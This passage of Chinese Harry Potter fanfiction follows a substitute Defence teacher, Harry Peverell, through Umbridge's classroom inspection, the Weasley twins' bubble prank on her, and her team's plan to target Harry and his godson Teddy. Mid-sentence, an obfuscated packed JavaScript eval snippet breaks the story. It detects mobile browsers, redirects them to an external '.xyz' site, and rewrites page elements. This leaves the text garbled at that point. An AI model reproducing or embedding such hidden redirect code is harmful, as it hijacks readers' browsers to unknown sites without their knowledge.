餐桌上爆发出一阵压抑的笑声,却被一声尖锐的咳嗽打断。乌姆里奇不知何时已经站在了长桌旁,脸上挂着那种令人不安的甜蜜微笑。 “午安,各位。”她扫视忽然变得鸦雀无声的学生,“我很高兴看到大家这么有活力。不过我相信,幸灾乐祸可不是霍格沃兹鼓励的品质,不是吗?” 没有人回答。“太好了,太好了。”乌姆里奇满意地点头,“对了,今天下午有黑魔法防御课吗?我听说佩弗利尔教授临时接管了低年级的课程。真是……好心肠。”她转身离开,粉色套装在黑袍的海洋中格外刺眼。 “她不会要去听课吧?”弗雷德小声嘀咕。 “谁知道?”赫敏和罗恩正好从后面走过。赫敏皱着眉,语速有点快,“早上的草药课上,我看斯普劳特教授盯着她那支羽毛笔,像是恨不得叫魔鬼网把她连笔一块儿卷走。” 乔治和弗雷德交换了一个意味深长的眼神,嘴角勾起相同的弧度。 “你们该不会打算……”罗恩的眼睛睁大。 双胞胎只是无辜地眨眨眼。 “说到这个,泰迪呢?”弗雷德转移话题,“你们怎么没和他在一起?” “魔药课后被斯内普留下了。”罗恩耸肩。 乔治挑了挑眉,手里的叉子停了下来,“留下来?犯错被罚了?” 罗恩伸手一把捞走乔治盘子里的鸡腿,咬了一口,嘴里含糊地说,“罚他?你也知道最近那些流言……放心,斯内普连灰都不舍得让他沾。” ———— 此前魔药课上,泰迪的表现一塌糊涂。他的提神剂不知道出了什么差错,呈现出不正确的浑浊灰绿色,而不是应有的清澈蓝色。无数细小泡沫猛地爆开,滚烫的液体溅到他的手腕上,烫出一片刺红。 泰迪咬牙忍住痛哼,但斯内普敏锐的目光已经落在了他身上。 “卢平,你的注意力究竟在哪里?”他走近,目光扫过坩埚里的惨状,“这不是提神剂,是毒药。” 教室静得针落可闻,所有学生都在等待即将到来的暴风雨。但出乎意料的是,斯内普只一挥魔杖,清空了坩埚。 “留下。”他简单地说,转身走向下一位学生。 课后,只剩泰迪站在原地。他耷拉着脑袋,手指无意识地摩挲着烫伤的边缘,伤口泛着刺眼的红色。 斯内普从药柜里取出一个小瓷瓶,声音依然冰冷,“手。” 泰迪伸出手腕,药膏凉丝丝的,薄荷与鼠尾草香气淡淡散开。斯内普涂抹时轻得意外,与他严厉的外表形成鲜明对比。 “连提神剂都能搞砸,”斯内普语气平淡,“看来你需要重新学习如何集中注意力。” “对不起,西弗。”泰迪小声说。这独处时的称呼让斯内普的手一顿。 “今晚八点,到我办公室来。”他松开手,从抽屉取出一小瓶魔药,“晚饭后喝。”他塞进泰迪手里,转身开始整理药柜。 泰迪接过药瓶,感受到掌心传来的温度——那是一剂安神药剂,能让人暂时忘却烦恼。 “记得带上课本。”斯内普背对他,声音平板,泰迪却分明从那声音里听出了一丝不易察觉的柔软。 ———— “坐下,小巫师们!今天保证没有爆炸或失控的咒语!”弗雷德·韦斯莱站在四年级黑魔法防御教室门口,夸张地模仿洛哈特的腔调,朝涌入的学生挥手招呼。 乔治即兴加入表演,捏着嗓子,“亲爱的学生们,我很遗憾地宣布,伟大的吉德罗·洛哈特暂时失去了他迷人的站姿——还有腿骨!” 教室里爆发出一阵哄笑。格兰芬多和赫奇帕奇的四年级学生鱼贯而入,脸上挂着久违的轻松,显然对洛哈特的缺席毫无遗憾。 “说实话,”安吉利卡·约翰逊放下书包,“一个星期不用听他讲那些编造的冒险故事,简直是梅林的恩赐。” 李·乔丹点头附和,“是啊,比如那个所谓的‘横扫温布尔顿的女鬼’?实际上只是个被雨淋湿的麻瓜洗衣店招牌。” 学生们压低声音偷笑。 安吉利卡又说,“记得去年佩弗利尔教授教我们驱逐咒的时候,连艾丽娅都能把博格特变成一只跳舞的鼻涕虫。” “去年?”弗雷德故意高声说,“那次他可把我们的魔杖都收走了——因为某些人,”他意有所指地瞥了一眼乔治,“把练习搞成了‘谁能把博格特变得更蠢’大赛。” 教室里的气氛顿时高涨起来。塞德里克·迪戈里脸上带着温和的微笑,“至少他没扣分,只是让我们写了三英尺的羊皮纸论文。” “‘为什么防御咒语应当用于驱散恐惧而非制造混乱’,我记得某个赫奇帕奇学生写了整整五英尺。”乔治装模作样地背诵。 “因为一不小心真会出乱子。”塞德里克耸耸肩,语调轻松,“不过比起洛哈特教授的‘魅力增强咒’——” “说真的,确定佩弗利尔教授会来接洛哈特的课吗?”艾丽西亚·斯平内特插话,语气满是期待,“去年他教的反诅咒真派上了用场。记得皮皮鬼给我们下的那个打嗝诅咒吗?当时差点没把我们折腾疯。” “当然记得!”李·乔丹用力点了点头。 教室里的气氛顿时高涨起来。相较于洛哈特的夸夸其谈,哈利那实用至上的魔法教学显然更受学生们的欢迎。 这番热闹的讨论被哈利推门而入的声音打断。他穿着简洁的深色长袍,大步走进教室。学生们迅速回到座位上,轻松的氛围转为专注的期待。 “下午好,各位。”哈利站在讲台前,声音平稳而亲切,“鉴于洛哈特教授暂时的……不便,邓布利多校长请我接替他的课程一段时间。” 他直奔主题,利落地挥动魔杖,黑板上立刻浮现出详细的咒语要点,“今日我们将练习多重盔甲咒的基础形式。这是一种能够提供连续防护的实用咒语,特别适合应对多重攻击的场合。” “三年级的时候,我曾教过你们盔甲咒。”他用魔杖轻轻敲了敲黑板,目光扫过全班,“谁能告诉我,成功施展防护咒的关键是什么?” 安吉丽娜举起手,“专注力和准确的咒语发音?” “很好,格兰芬多加十分。”哈利点头,“而作为盔甲咒的进阶版,多重盔甲咒对于魔力分配的要求会更高。” 塞德里克举手问道,“佩弗利尔教授,它能挡住爆破咒吗?” “非常好的问题。”哈利正要详细解答,一声轻柔的“咳咳”从门口传来。 所有人的目光齐刷刷地转向门口。多洛雷斯·乌姆里奇站在那里,一身粉色套装刺得人眼睛发疼,她手中捧着一个小巧的记录本,一支同样粉色的羽毛笔悬浮在空中。 “下午好,佩弗利尔教授。”她的嗓音甜腻得令人不适,“希望我没有打扰您精彩的课程。魔法部非常关心学生们的学习情况。” “当然,乌姆里奇女士。”哈利彬彬有礼地点头,声音平静如常,“欢迎您的到来。” 乌姆里奇微微一笑,迈开小碎步向教室后方走去。 “哦!让我来!”弗雷德猛地跳起,态度过分热情,声音中的谄媚几乎要滴出水来,“乌姆里奇女士,请允许我为您提供指引。”哈利警告地扫了他一眼,未置一词。 “就在这里,”乔治接过话茬,指向窗边一把看起来格外整洁的椅子,“专为尊贵的魔法部高级调查官准备的舒适座位,光线绝佳,视野开阔。” “谢谢你们的……热情。”乌姆里奇眼神在双胞胎脸上逡巡,随即挂上甜笑,没有走过去,而是选定了教室后排的一个位置,优雅地坐了下来,羽毛笔已经蓄势待发。 教室里的气氛微妙地紧绷起来,学生们的目光在哈利和乌姆里奇之间来回跳跃。弗雷德和乔治交换了一个心照不宣的眼神,迅速在桌下比划了什么。塞德里克警觉地瞥了他们一眼,随即转向讲台。 哈利却不为所动,继续他的课程,“正如刚刚所说,多重盔甲咒的应对范围取决于施咒者的专注力和魔力分配。”他转向塞德里克,回答道,“对于爆破性咒语以及连续性的攻击,多重盔甲咒是更好的应对方式。因为它并非简单地叠加多个护盾,而是将一个防护层分解成多个连续的能量屏障,每一层都能吸收部分的冲击。” 他向前迈了一步,魔杖轻点讲台,“在实际的危险之中,单一的防护咒,如普通的盔甲咒,往往不够稳固。当你面对连续袭来的咒语,或是一个强力咒语分裂成多重攻击时,多重盔甲咒能为你争取宝贵的反应时间。” 乌姆里奇轻咳一声,羽毛笔立刻在本子上快速书写。哈利只瞥了一眼,便继续说道,“请各位分组练习,记住咒语发音必须准确,是‘叠甲层层’,动作是连续三次螺旋上挑——” “请问,佩弗利尔教授,”乌姆里奇打断道,声音依然轻柔,“您教授的这个咒语,是否属于标准教学大纲的范围之内?” 教室瞬间安静下来。哈利转向乌姆里奇,脸上表情平静如水,“乌姆里奇女士,这个咒语是标准防御魔法的进阶应用,完全符合四年级学生的学习水平。” 空气中流动着某种微妙的紧张感。哈利的目光扫过紧张的学生们,语气依然平稳,“魔法教育不仅限于书本知识,乌姆里奇女士。实践能力和应变技巧同样重要。在面对真正的危险时,光靠背诵课本是不够的。” “噢,危险?”乌姆里奇轻声说,“您是在暗示霍格沃兹不够安全吗?”她的笑容不变,眼睛却眯成了一条缝,“或者说,您认为学生们需要为什么样的‘危险’做准备呢?” “比如说,”塞德里克突然开口,声音冷静,“去年我们遇到的那只博格特。如果不是佩弗利尔教授教会我们实用的防御咒语,恐怕就不只是几声尖叫那么简单了。” “是的,”艾丽娅接上话,“理论知识告诉我们博格特会变成我们最害怕的东西,但只有实践才能教会我们如何面对恐惧。” 乌姆里奇的笑容微微僵硬,“多么……”她停顿了一下,“富有想象力的观点。不过作为调查官,我不得不指出,您的教学方式似乎过于……鼓励冒险。” “保护自己并非冒险,乌姆里奇女士。”哈利直视着她,“这是每个巫师的基本权利。现在,请允许我继续授课。”他转向全班,朗声道,“大家站起来,我们来演示正确的防御姿势。安吉丽娜,弗雷德,请你们先做个示范。” 乌姆里奇的羽毛笔在羊皮纸上划得更快了,那沙沙声像要把纸面刮穿。她的目光在每个站起来的学生身上逡巡,似乎在寻找什么可以指摘的把柄。 安吉丽娜·约翰逊和弗雷德走到教室前方。哈利清理出一片空地,挥动魔杖设置了基本的防护魔法。 “安吉丽娜,请发射三个连续的轻度击退咒。弗雷德,使用我们刚学的多重盔甲咒防御。” “准备好了吗,弗雷德?”安吉丽娜·约翰逊举起魔杖,声音中带着一丝挑战的意味。 “随时奉陪。”弗雷德摆出防御姿势。 安吉丽娜挥动魔杖,连喊三声,“障碍重重!障碍重重!障碍重重!”三道淡光如小波浪般迅疾射向弗雷德。 弗雷德魔杖一挥,低声喊道,“叠甲层层!”一道银白光芒从他魔杖尖端迸发而出,瞬间凝结成贴身的光膜,青灰护盾随之升起,环绕周身,最后深蓝光墙轰然展开,三层防御叠叠相连,宛如披上了一件轻巧的魔法盔甲。 第一道“障碍重重”撞上蓝色光幕,光幕微微荡起涟漪,随即弹回原形;第二道被青灰护盾挡下,火花一闪,第三道触及银光外壳,仅让它闪烁了一下便消散无踪。弗雷德稳稳站定,抖了抖肩膀,咧嘴道,“就这?” 学生们一片赞叹,有人低呼“酷毙了”。乌姆里奇的笔尖停住,眯缝的眼里闪过一丝不悦。 哈利满意地点头,“做得很好!注意到了吗?每一层护盾虽然不强,但共同作用时,能够有效分散攻击力量。这在现实对抗中非常实用。” “实用?”乌姆里奇轻咳一声,“佩弗利尔教授,您提到的‘实用性’——您是在暗示学生们会在霍格沃兹这样安全的环境中,面临需要如此复杂防御的真实攻击吗?” 哈利用魔杖指向黑板,上面浮现出更详细的咒语要点,“防患于未然乃是魔法教育的基本原则,乌姆里奇女士。没有人能够保证永远的安全。” 乌姆里奇挺直腰背,“我不得不说,您的教学方法令人担忧。看起来您在为某种不存在的威胁做准备,这恐怕会引起学生们不必要的恐慌。” “不存在的威胁?”李·乔丹忍不住插嘴,“那之前出现的蛇怪和被石化的学生算什么?” 乌姆里奇的目光猛地转向李,甜笑中藏着寒意,“那只是一个不幸的意外,年轻人。而且,据我最近所知,这件事似乎与佩弗利尔教授的教子有些关联——或者说,其实是与佩弗利尔教授您有关?”她刻意加重了语气。 教室里一片哗然。 乔治大声反驳,“明明是佩弗利尔教授击倒了蛇怪!泰迪还是个学生,他能做什么?那些谣言都是瞎说的,你别把他扯进来!” 哈利举起一只手,示意安静,“够了。乔治,谢谢你的关心,但请让我来处理。”他转向乌姆里奇,“如果您有任何疑问,可以在课后与我讨论。现在,请允许我继续教学。” 乌姆里奇微笑着点头,但她的眼中毫无温度,“当然,请继续。我只是在履行职责,确保教学质量。” 哈利花了几秒钟平复情绪,然后继续,“各位,请分组练习。记住,咒语动作必须流畅连贯,否则护盾会不稳定。” 学生们迅速分组,教室里充满了咒语声和护盾形成的微光。哈利在教室中穿行,纠正动作,提供建议。乌姆里奇则在后排不断记录,偶尔发出“嗯哼”的声音。 约一刻钟后,哈利返回讲台,“好的,现在让我们检验一下大家的成果。谁愿意示范?” 几个学生举起手。哈利点了赫奇帕奇的塞德里克,“塞德里克,请到前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156407|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面来。” 塞德里克走到教室前方,站在标记位置。哈利抽出魔杖,“我会发射三个递增强度的咒语,请你尝试用多重盔甲咒防御。准备好了吗?” 塞德里克点头,神情专注。 哈利挥动魔杖,三道光芒接连射出。塞德里克迅速施展咒语,喊道,“叠甲层层!”护盾层层展开,第一层银光闪烁,第二层灰色护罩稳固,第三层蓝色光幕虽略显薄弱,仍堪堪挡住了最后一道攻击。 “非常好!”哈利赞许道,“注意塞德里克的手腕动作,流畅且准确。这是——” “佩弗利尔教授,”乌姆里奇再次开口,声音中带着明显的不赞同,“您刚刚对学生使用了攻击性咒语。这在教学过程中是否恰当?” 哈利深吸一口气,保持声音平稳,“这些都是经过调整的训练用咒语,强度适中,完全安全。实际演练是掌握防御技巧的必要环节。” “我记得在洛哈特教授的课上,学生们通过阅读和理论讨论就能很好地理解防御原理。”乌姆里奇往前翻自己的记录本,“他的方法既安全又有效,不是吗?” 教室里响起一阵压抑的窃笑。 “每位教师都有自己的教学风格,”哈利平静回应,“在黑魔法防御这门学科中,我认为实践不可或缺。” 乌姆里奇合上笔记本,优雅地站起身,“我已充分理解您的观点,佩弗利尔教授。等我完成对所有课程的评估后,会对此提出更具体的建议。鉴于今日的观察,我认为我已记录下了足够的细节。”她顿了顿,笑容愈发甜腻,“期待能在报告中详细探讨您的教学方法。” 哈利感到一阵怒火涌上心头,却只是轻轻点头,“感谢您的关注,乌姆里奇女士。”他转向全班,“时间差不多了,今天的训练到此为止——” 乌姆里奇迈着小碎步向门口走去。弗雷德突然微微探身,朝乔治挤了个眼,动作快得像猫尾巴一甩,带着显而易见的期待。乔治嘴角勾起一个几不可察的弧度,悄悄从裤袋里掏出什么,手指轻轻一弹。 一个拇指大的黄色小球从他指间滚出,无声地滑向乌姆里奇经过的地面。它看起来不起眼,像颗干瘪的糖豆,但一触地就发出轻微的“噗”声。一股淡黄色的烟雾悄然升起,带着股甜腻的香味,不动声色地缠上了乌姆里奇的裙摆。 几个离得近的学生发现了他们的动作。安吉丽娜猛地捂住嘴,眼睛瞪得滚圆。李·乔丹的魔杖“啪”地掉在地上。但乌姆里奇似乎浑然不觉,继续保持着她那副高傲的姿态走向门口。 她刚跨出门没走两步,走廊上几个刚下课的学生突然停下脚步,盯着她裙摆指指点点,低声议论着什么,随即有人憋不住发出一声短促的笑。乌姆里奇皱了皱眉,低头看向自己的裙摆,才发现上面沾了些粉尘。她挥动魔杖试图清理,然而粉末非但未消,反而愈发扩散,彩虹般的色晕一路向上蔓延。 “这是——”她的声音陡然尖锐,脸上的假笑消失了。 更令她恼火的是,一连串细小的泡泡开始从她的衣服上冒出来,每个泡泡破裂时都发出一声轻柔的“咳咳”,完美复制了她标志性的打断声。 她脸色一僵,猛地转过身,小高跟“喀喀”响着冲回教室门口,目光像鹰隼般扫过每一个学生,学生们低头假装收拾东西,但眼角的余光都偷偷瞄着她。弗雷德和乔治埋头整理书包,肩膀微微抖动,硬是憋着没抬头。 哈利似乎这时才“察觉”到她的异常,转头关切地问:“一切都好吗,乌姆里奇女士?”语气无懈可击,脸上甚至还带了点疑惑。 “当然,”乌姆里奇强撑着微笑,但声音已经绷紧,“只是一点小问题。”她的眼神还在教室里扫视,显然不信这是意外,可又找不出半点证据。 她最终只能憋着满腔怒火转身离开,但每迈一步,衣服上的颜色就变得更加鲜艳。 学生们纷纷停下脚步,目瞪口呆地看着眼前的景象。乌姆里奇的粉色套装已经变得异常艳丽,而那些泡泡还在不断冒出,“咳咳”声此起彼伏,在走廊上回荡。 “这简直是——”乌姆里奇气得浑身发抖,但每次张口,泡泡就冒得更欢快。她挥动魔杖再次试图施展清理咒,却适得其反,“咳咳”声越发响亮,几乎要盖过她的声音。 一群拉文克劳的学生正好路过,有人发出了压抑的笑声。更多的学生从教室里探出头来,连画像里的人物都停下了手中的动作,饶有兴趣地观望着这场意外闹剧。乌姆里奇气得浑身发抖,踩着越发响亮的“咳咳”声匆匆逃离,留下一串粉红色的泡泡在走廊里飘荡。 学生们三三两两地离开黑魔法防御术教室,脸上都带着难以抑制的笑意。很快,教室里只剩下哈利和双胞胎。 “我猜你们对这个意外事件一无所知?”哈利转向他们,神色莫测。 “教授,”弗雷德夸张地摊开双手,“普通学生怎么可能制造出如此精妙的魔法产品?” “完全不可能。”乔治煞有介事地附和道,“那可是高级变色粉尘,还附带声音模仿,需要高超的魔药技术和变形术结合,不是我们这种学生能搞定的。” 哈利摇头,忍不住微笑,“我不会问你们是怎么做到的。但记住,乌姆里奇不是洛哈特。她代表魔法部,而你们的所作所为都会记录在她的调查报告里。” “报告?”弗雷德挑眉,“那正好让她写点有意思的内容。比如霍格沃兹的学生是多么富有‘创造力’。” “而且她又没证据。”乔治得意道,“我敢说就连斯内普都找不出是我们干的。” 哈利的表情变得严肃,“我理解你们的心情,但别把自己暴露在危险中。” “明白,教授。”双胞胎收敛了笑容,异口同声道。 “现在,最好假装什么都没发生过。”哈利朝门口示意,“把你们的故事留到晚餐吧。” 弗雷德和乔治带着狡黠的微笑离开了教室。哈利望着他们的背影,脸上笑意逐渐消退。 -------------- 回办公室的路上,乌姆里奇每迈一步都伴随着一串“咳咳”声,如同一首荒诞的进行曲在石墙间回荡。画像里的人物纷纷探头张望,有的甚至离开自己的画框,飞快地跑向其他楼层传递这个消息。佩弗斯在上方飘来飘去,刺耳的怪笑给这场闹剧更添几分滑稽。 拐角处,麦格教授迎面走来。她的目光如同评阅作业般从乌姆里奇那身斑斓的套装上扫过,又落在那些不断冒出的泡泡上。她的表情依然严肃,只有眼角几不可见的弧度泄露了一丝愉悦。 “下午好,乌姆里奇女士。”她开口时语调平稳得像是在主持变形课,“我相信您的课程检查一定……很有收获?” “米勒娃。”乌姆里奇试图挤出一个官方的微笑,但一串泡泡适时冒出,发出此起彼伏的“咳咳”声。她的脸涨得通红,活像一颗熟透的石榴,硬撑着说,“只是个小误会,显然某些人对魔法部的工作存在误解。” “是吗?毕竟霍格沃兹从来不缺乏一些‘小惊喜’。”麦格教授轻轻扶了扶眼镜,“当然,如果您觉得不适,庞弗雷夫人那里永远欢迎您。” 乌姆里奇的笑脸彻底垮了。“劳您关心,米勒娃。我自己能处理——”又一串“咳咳”打断,她最后几乎是从牙缝里挤出这句话,“很快,霍格沃兹就会恢复……正常秩序。以后不会再有这种……‘惊喜’。” “让我们拭目以待。”麦格教授微微颔首,转身离去时脚步轻快得像只猫。 ------------- 晚餐时分,霍格沃兹礼堂里灯火通明,长桌上摆满了冒着热气的烤土豆、金黄酥脆的牛肉馅饼和堆得像小山般的南瓜派,香气在温暖的空气中弥漫。可今晚,学生们的注意力明显不在食物上。格兰芬多长桌那头,弗雷德和乔治被一群学生簇拥在中间,眉飞色舞地比划着,白天的“咳咳泡泡”事件显然成了他们的最佳素材。周围的笑声时不时炸开,像爆豆似的停不下来。即使在教师席上,麦格教授也不得不数次清清嗓子,试图平息那边过于热烈的气氛。顺带一提——乌姆里奇今晚压根没在礼堂现身。 “——然后她的裙子就开始冒泡泡!”弗雷德挥着叉子,差点扎到旁边的李·乔丹,“‘只是小问题!’然后呢?清理咒一挥,泡泡蹦得更欢了!” “每个泡泡都在‘咳咳’!”乔治咧嘴接话,捏着嗓子模仿那标志性的声调,“简直比她本人的声音还要甜美。”他手里的面包被捏成一团,假装往空中一弹,像在重演那颗黄色小球。 这场意外似乎在沉重的氛围中撕开了一道裂缝。学生们交换着心照不宣的笑容,连平日里最谨慎的拉文克劳也在低声讨论那串会“咳咳”的泡泡。唯独斯莱特林长桌冷清得很,扎比尼和帕金森的脸色难看得像是吞了一整罐鼻屎味的怪味糖。 -------------- 夜色渐浓,城堡的灯火一盏盏亮起。哈利的办公室里,壁炉的火光在羊皮纸上跳跃,映出一片暖乎乎的橘色。他正专注地整理着明天的教案,直到一阵熟悉的脚步声在门口停下。 门被推开时,他头也不抬地说,“请进。” “看来救世主不仅喜欢放任学生胡闹,自己也乐在其中。”斯内普无声地步入房间,黑袍在身后翻卷,“我记得某人刚说过要‘谨慎行事’?” “西弗勒斯?”哈利抬起头,“有什么事吗?” 斯内普略微停顿,像是对这个称呼仍有些不习惯,但很快掩饰了下去,“佩弗利尔,我想你该知道今天的‘小插曲’会带来什么后果。” 哈利转过身,手里还捏着羽毛笔,平静地说,“我可什么都没干,全程专业得堪比《标准咒语》教科书。不过乌姆里奇显然对我的教学方式有很多‘建设性’意见。” 斯内普挑眉,压根不相信这套说辞。“恰恰相反。乌姆里奇刚刚提交了一份长达三英尺的报告,详细‘赞扬’了你的教学方法对学生造成的……不良影响。” “听起来不太像表扬。” “自然不是。”斯内普嘴角勾起一个冷笑,目光瞥向桌上的教案,“她还特别提到,一个年轻教师不该掌握这么……全面的防御术知识,尤其是在没有任何可查证背景的情况下。” 哈利轻叹,“接下来就是要把我的来历查个底朝天了。” 斯内普轻哼一声表示赞同,忽然又扔出一句,“卢平刚从我办公室离开。” 哈利一点不意外,嘴角微微一扯,“你留他补课了?谢谢你照看他,西弗勒斯。” 斯内普眉头微皱,像被这话烫了一下,张了张嘴,似乎想反驳,一个小身影突然从壁炉边冒了出来。西比不知啥时候溜了进来,小小的身子一跃,爬上办公桌,累得一屁股坐下去,把哈利刚整理好的教案压得皱巴巴的。 “多感人的默契啊,”它语气讽刺,嗓音跟它巴掌大的体型一点不搭,“你们还真有闲心在这儿聊泡泡。” 哈利挑眉,“我还以为你最近一直跟着调查组。” 斯内普斜了他一眼,那眼神分明在说“这烂摊子活儿是你派的”。 西比哼了一声,小手在袍子里掏摸,拽出一张羊皮纸——那纸比它胳膊还长,扯出来的时候差点把自己绊个跟头。“显然,我有更重要的事,”它甩了甩纸,十分嫌弃,“比如这个。” 哈利接过羊皮纸,借着火光扫了一眼,表情瞬间凝固了——那是一份学生名单。 不远处,调查组的临时办公室里,多洛雷斯·乌姆里奇捏着一张长长的羊皮纸,上面列满了名字。第一个赫然写着:泰迪·卢平。 70. 粉红审讯 晚餐钟声从大礼堂传来,学生们的笑闹声隐约飘进走廊。乌姆里奇坐在粉色高背椅上,根本不敢迈出办公室一步——那条标志性的粉裙沾满彩色粉尘,原本的颜色早被掩得无影无踪。她尝试了无数种魔咒——清水咒、挥扫咒——可裙摆只要微微一颤,便有几个顽劣的泡泡冒出,发出令人发狂的“咳咳”声。 她猛地一拍桌子,羽毛笔“啪”地磕在木面上,一排猫咪盘子随之轻颤,瓷猫们警惕地盯着她。她那甜腻的笑容终于崩塌,一把抓起文件揉成团,嗓音尖锐得像被踩到尾巴的猫:“那些无法无天的小东西!我要让他们明白什么叫规矩!” 一个泡泡恰到好处地在她肩头炸开,溅出泡沫,她眼角一跳,狠狠甩手抹掉。 巴恩斯无声推门而入,手中紧握着那本从不离身的硬皮簿。她站得笔直,无框眼镜后的目光冷冷扫过乌姆里奇狼狈的模样,却仿佛什么都没看见。 “乌姆里奇女士。”她的语气冷淡而精确,“教师档案已审核完毕,发现几个值得关注的问题。”她翻开簿子,“首先是西比尔·特劳妮,她自称卡珊德拉·特劳妮的后裔,但并无任何官方记录佐证,且其教学评估多次未能达到标准。” 她停顿片刻,似在斟酌分寸,“其次是西弗勒斯·斯内普,其入职前的经历存有疑点,有部分争议记录,但都有邓布利多亲笔担保。” 乌姆里奇一手托腮,手指轻敲桌面,兴趣缺缺地听着,闻言只淡淡评价:“特劳妮?哼,一个满口‘未来’的骗子。至于斯内普,他是斯莱特林院长,和卢修斯关系匪浅,暂时不考虑。” 巴恩斯脸色严肃,不置可否,只是微微推了推眼镜,“最后,也是最令人在意的——哈利·佩弗利尔。他的履历完全无法查证,证书编号无从验证,任职经历一片空白。而且——” 她翻了一页,“在查了近十年教师聘任记录后,我发现一个奇怪的规律:黑魔法防御术课教师从未有人连任超过一年。无论因退休、转职还是——”她眼神微抬,“更不幸的原因,无一例外。” “我甚至怀疑也许从更早的时期就出现这种奇怪的现象。”她指尖轻点文件,“可佩弗利尔破坏了这个铁律,不仅第二年留任,今年还与洛哈特共同执教——这在霍格沃兹历史上前所未有。” “哦?”乌姆里奇猛地抬头,眼神一亮,“你是说,邓布利多让他连任了?” “很显然,邓布利多对他极为器重。”巴恩斯语气依然刻板,“不仅破例留他连任,甚至让他列席校长会议,这种待遇,不是一般的教师可以有的。” “邓布利多……”乌姆里奇冷笑,“他总是这样,偏爱那些来历不明的人。可偏爱,就意味着软肋——” 门框猛地一震,戈尔挤了进来。龙皮靴踩得地毯沉闷作响,高顶巫师帽歪在一侧,手里挥着根银量尺,激动得连声音都变了调,“重大发现!”他凑上前,一股火龙皮的腥臭扑鼻,熏得巴恩斯皱眉退开数步。 乌姆里奇刚要发作,戈尔已经凑到桌前,兴奋得像捡到金加隆的地精,“二楼那间女生盥洗室,有条隐藏的通道。”他急切地摊开一张画满符号的羊皮纸,“您看,墙面的魔法反应异常,最重要的是——” “密道?”乌姆里奇双眼一眯,透出几分不耐和斥责,“别又是那些没用的废弃通道!”裙角又冒出一个“咳咳”泡泡,她眼角抽了抽,语气更阴冷,“你最好确保这次说点有用的,否则我会和福吉部长建议换一个更·有·能·力的过来。” “不不不,这次不一样!”戈尔连连摆手,“墙上有爪痕,被什么东西烧过似的。我试了好几个探测咒,魔法残留很新。最重要的是——”他压低声音,“桃金娘,那个鬼魂,说佩弗利尔和斯内普去过几次,最后一次是圣诞节前,像在施什么封印魔法——” “你爬了一整天的墙就带回来这些?”乌姆里奇的声音愈发尖锐,“我们是来调查霍格沃兹的管理问题,不是来给霍格沃兹清扫角落、修补裂缝的!这些破墙破洞连邓布利多的一根胡子都动不了!” “可是,”戈尔还想争辩,从怀里掏出一块焦黑的石头,“您看这个,上面有蛇的痕迹,我敢打赌,那跟蛇怪有关!” “闭嘴!”乌姆里奇猛地站起来。一个泡泡在她裙边炸开,她强忍着怒气,“等等……你说佩弗利尔和斯内普?” 戈尔如获大赦,连连点头:“他们深夜去过好几次。桃金娘亲眼看见的。” “难道他们在里面藏了什么东西?还是……发现了什么?”乌姆里奇眼中闪过一丝精光。巴恩斯从旁边开口,“这倒是个有趣的巧合。” 戈尔搓着手,咧嘴偷笑,却瞥见乌姆里奇裙角冒出个“咳咳”泡泡,嘴一抽,差点笑出声。巴恩斯冷冷一瞥,他赶紧收住,低头躲开她的视线。 “可猜测毫无意义。”巴恩斯冷声道,“需要更确凿的证据。” “我扔了好几个咒,”戈尔嘟囔,“全废了。” 巴恩斯鄙夷地扫了他一眼,“如果没有确凿证据,就不要再浪费时间。魔法部只给了两周调查时间,我们不能把精力耗在无谓的小事上。”她看向乌姆里奇,“如您所说,邓布利多在霍格沃兹的地位根深蒂固,我建议可以从佩弗利尔入手,尝试寻找突破口。” 乌姆里奇缓缓站起身,踱到窗前,“你说得没错,哈利·佩弗利尔这名字,真是哪儿都躲不开。蛇怪,密室,黑魔法防御术——每件事里都有他的影子。邓布利多这么器重一个来路不明的年轻教授,你不觉得奇怪吗?我总忍不住想,他背后藏了什么见不得光的小秘密。” 她顿了顿,指节在窗台上敲出一种令人不安的节奏,“我有预感,哈利·佩弗利尔,就是我们撬动邓布利多的关键。” 乌姆里奇似乎想起了什么,面对着巴恩斯和戈尔,眼睛眯成了一条危险的细缝,“对了,学生们最近都在聊的蛇怪传闻,你们都听说了吧?” 巴恩斯微微点头,“是的。学生们都在传是泰迪·卢平放出的蛇怪——至少和他脱不了关系。每次蛇怪出现,他都在现场,出事的人也都和他有关。” 乌姆里奇眯起眼,回忆起前两天在教室见到那孩子时的场景——一头不停变换颜色的头发,瘦削却不安分的身影。她轻哼一声,语气中透出几分兴味,“是吗?你的想法呢?”她轻飘飘地把问题抛向戈尔。 戈尔轻轻咳嗽了一声,他的手指不安地摸索着长袍口袋里的测量工具,另一只手挠了挠脑袋,“那个,密室开启的机关和需要的魔咒是很复杂的,一个小孩儿……” “一个二年级的小男孩——”乌姆里奇打断他,“能有多大能耐呢?没有大人的指导,可能连魔棒都挥不好。” 她的小高跟在石质地面上敲出清脆的响声,走回桌前,“显然是有人在操控那个男孩,一个有足够知识、有足够实力的成年巫师。而我们的泰迪先生恰好有这样一位才华横溢的教父,不是吗?” 乌姆里奇顺手捏碎一个从粉色袖口冒出的泡泡,“多么方便啊——让一个孩子替自己承担风险和怀疑,这样即使计划出了差错,罪责也会落在孩子头上,而非那位受人尊敬的教授。” “不过,这男孩也确实古怪,他那头发——哦,应该是那种少见的易容马格斯吧。居然还在课堂上为了个狼人和洛哈特教授争得面红耳赤的。”她忽然转过身,“上次让你整理的名单呢?” 巴恩斯没有说话,只是默默递上一张羊皮纸,语调依然冷静,“这是蛇怪事件的目击者名单,已经详细标注了当晚每个人的行踪。” 乌姆里奇接过名单,羊皮纸上列着一串名字:泰迪·卢平、赫敏·格兰杰、科林·克里维、塞德里克·迪戈里、韦斯莱兄弟……她的目光在第一个名字上停住,眼珠一转,那甜得令人发寒的笑容再度绽开:“很好,那就从小家伙们开始查起吧。” 她拿起羽毛笔,在几个名字上画了圈,轻柔的声音里渗出一丝寒意,“孩子们总是藏不住秘密的,不是吗?” —————— 